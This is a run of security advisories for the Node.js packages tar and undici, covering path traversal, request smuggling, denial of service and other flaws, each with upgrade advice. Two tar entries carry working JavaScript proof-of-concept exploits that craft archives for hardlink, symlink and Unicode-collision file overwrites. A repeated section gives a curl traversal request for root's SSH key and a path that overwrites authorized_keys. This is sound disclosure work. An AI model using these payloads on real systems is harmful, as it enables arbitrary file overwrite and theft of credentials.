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Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.

Remediation

Upgrade tar to version 7.5.18 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.

Remediation

Upgrade tar to version 7.5.16 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.

Remediation

Upgrade tar to version 7.5.17 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the mapHas helper and filesFilter function in src/list.ts, which walk an entry path upward with one path.dirname() call per recursion and no segment cap. An attacker can terminate the Node process with an uncatchable stack-overflow RangeError by supplying a tar archive whose GNU L or PAX x long-path header carries tens of thousands of /-separated segments, when that archive is listed or extracted with a member-selection filter. Exploitation requires the application to call tar.t() or tar.x() with a non-empty member-selection list on an untrusted archive, and on async or streaming consumers the error is uncatchable while synchronous APIs can catch it.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tar to version 7.5.21 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to HTTP Request Smuggling in the processHeader() while handling HTTP/1.1 requests containing duplicate Content-Length headers with differing casing. An attacker can bypass access controls, poison caches, hijack credentials, or cause service disruption by sending specially crafted HTTP requests that are interpreted inconsistently by proxies and backend servers.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

• GitHub Commit
• HackerOne Report
• Red Hat Bugzilla Bug

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.

Note:

This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.

Workaround

This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Remediation

Upgrade tar to version 7.5.4 or higher.

References

• GitHub Commit

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the interceptors.retry() flow in lib/handler/retry-handler.js. An attacker can cause a proxy or gateway that forwards Undici responses to emit a body whose length does not match the Content-Length header by sending a partial 206 response with mismatched framing and closing the connection to trigger a retry or resume. This can corrupt downstream HTTP framing, causing client or intermediary hangs and response parsing errors, and can expose users of the forwarding service to broken responses or connection desynchronization.

Remediation

Upgrade undici to version 6.28.0, 7.29.0, 8.9.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Improper Neutralization via unsanitized domain handling and unparsed attribute serialization in lib/web/cookies/util.js. An attacker can inject or override cookie attributes by supplying a crafted domain such as example.com; SameSite=None or an unparsed entry such as X-Custom=val; HttpOnly to setCookie. When applications pass user-controlled tenant or routing data into these fields, the serialized Set-Cookie header can carry attacker-chosen flags like SameSite, Secure, or HttpOnly. This can weaken CSRF protections, alter cookie visibility to scripts, or change how the browser sends the cookie.

Remediation

Upgrade undici to version 6.28.0, 7.29.0, 8.9.0 or higher.

References

• GitHub Commit v6.28.0
• Maintainer's Advisory

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the HTTP/1.1 client when an attacker-controlled upstream server injects an unsolicited response onto an idle keep-alive socket after a request completes. An attacker can cause responses to be delivered to the wrong requests by sending crafted HTTP responses through a compromised or malicious upstream server.

Note: This is only exploitable if the upstream HTTP/1.1 server is attacker-controlled or compromised and keep-alive connection reuse is enabled.

Workaround

This vulnerability can be mitigated by disabling keep-alive connection reuse by setting keepAliveTimeout: 0 on the Client or Pool.

Remediation

Upgrade undici to version 6.27.0, 7.28.0, 8.5.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• GitHub Release
• HackerOne Report
• Vendor Advisory

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.7 or higher.

References

• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.

PoC

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.3 or higher.

References

• GitHub Commit
• PoC in GitHub

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the decompression chain. An attacker can cause high CPU usage and excessive memory allocation by sending HTTP responses with a large number of chained compression steps in the Content-Encoding header.

Remediation

Upgrade undici to version 6.23.0, 7.18.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to CRLF Injection via the upgrade option of the client.request() function. An attacker can inject malicious data into HTTP headers or prematurely terminate HTTP requests by sending specially crafted input, potentially leading to unauthorized information disclosure or bypassing of security controls.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

• GitHub Commit
• HackerOne Report
• Red Hat Bugzilla Bug